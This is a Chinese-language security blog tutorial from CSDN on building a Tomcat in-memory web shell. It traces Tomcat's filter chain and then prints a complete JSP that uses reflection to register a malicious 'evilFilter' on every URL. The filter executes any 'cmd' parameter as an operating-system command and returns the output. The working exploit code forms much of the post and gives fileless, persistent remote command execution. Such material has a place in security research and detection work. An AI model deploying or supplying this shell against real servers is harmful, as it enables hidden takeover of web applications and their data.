『Java安全』Tomcat内存马_动态注册Filter内存马

前言

Filter生命周期

在这里插入图片描述

Filter类介绍

在这里插入图片描述

Servlet启动流程

下图是Servlet启动流程
在这里插入图片描述
StandardEngine启动后调用StandardHost、再调用StandardContext。在StandardContext.startInternal()中可以看到,加载流程是Listener-Filter-Servlet
在这里插入图片描述
在这里插入图片描述

Filter调用流程分析

来到StandardWrapper处理Filter事务
在这里插入图片描述
借用宽字节安全的图
在这里插入图片描述

1. 从Standardcontext获取filterMaps

ApplicationFilterFactory中从Standardcontext获取filterMaps
在这里插入图片描述
里面有每个filter的信息
在这里插入图片描述

2. 遍历filterMap匹配url并调用了addFilter方法添加到filterChain

符合匹配就从filterConfig添加filter到filterChain,这里调用了addFilter方法
在这里插入图片描述
filterConfig存储了filterDef定义和filter信息
在这里插入图片描述

3. 依次调用doFilter

ApplicationFilterFactory获取完filterChain后回到StandardWarpper继续处理,然后就是调用链子filterChain.doFilter方法
在这里插入图片描述
实际调用了internalDoFilter方法
在这里插入图片描述
循环chain依次调用各filter的doFilter方法
在这里插入图片描述
当最后一个filter结束后
在这里插入图片描述

Filter内存马

原理

由于不能直接操控web.xml或者WebFilter注解注册恶意Filter

但是根据流程分析:注册Filter用到了几个关键方法,这就可以通过反射注册恶意Filter

模拟正常流程:

  1. 生成恶意filter
  2. filterDef封装filter添加到filterDefs
  3. filterConfig封装filterDefs添加到filterConfigs
  4. 生成filterMap添加到filterMaps
  5. 三者放入Context

Ⅰ. 获取context

Servlet提供了一个方法request.getSession().getServletContext()获取servletContext

这里获取到的是ApplicationContextFacade,它封装了ApplicationContext实现了ServletContext接口

然后ApplicationContext封装了StandardContext

在这里插入图片描述
因此调两次反射就能拿到StandardContext,注意是private要setAccessible

<%
    Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
    appContextField.setAccessible(true);
    Field standardContextField = ApplicationContext.class.getDeclaredField("context");
    standardContextField.setAccessible(true);

    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

%>
更简单的方法

Servlet环境的request实际是RequestFacade对象,就像Context实际也是ApplicationCotextFacade一样
在这里插入图片描述

它有一个request属性存储了Request对象,Request对象getter就能直接拿到Context

    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

Ⅱ. 生成恶意Filter用FilterDef封装添加到FilterDefs

FilterDef提供了setter
在这里插入图片描述
StandardContext也提供了添加FilterDefs的方法
在这里插入图片描述

.......
    Filter filter = new Filter() {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            chain.doFilter(request, response);
        }

    };
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
%>

Ⅲ. 用filterConfig封装filterDefs添加到filterConfigs

生成filterConfig需要调用反射,因为构造器没有声明public,然后直接向filterConfigs调用Map.put传入即可,键为filter的名称同上

这里的Context是org.apache.catalina.Context

......
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("evilFilter", filterConfig);
%>

Ⅳ. 生成filterMap添加到filterMaps

FilterMap也有几个add和set方法,这里需要设定名称、pattern,dispatcher设置为DispatcherType.REQUEST

FilterMaps提供了两种add方法来添加map,选用before可以加在最前面
在这里插入图片描述

......
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("evilFilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
%>

完整代码

// filterTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
    appContextField.setAccessible(true);
    Field standardContextField = ApplicationContext.class.getDeclaredField("context");
    standardContextField.setAccessible(true);

    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Filter filter = new Filter() {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            chain.doFilter(request, response);
        }

    };
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("evilFilter", filterConfig);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("evilFilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    out.println("Inject done");
%>

运行截图

首先访问注入内存马的jsp,然后只要urlPattern符合都能进行RCE
在这里插入图片描述

参考引用

Tomcat Filter类型内存马与查杀技术学习
【干货】Servlet内存马加载流程分析
Filter内存马浅析

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123561053
版权声明:本文为原创,转载时须注明出处及本声明

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值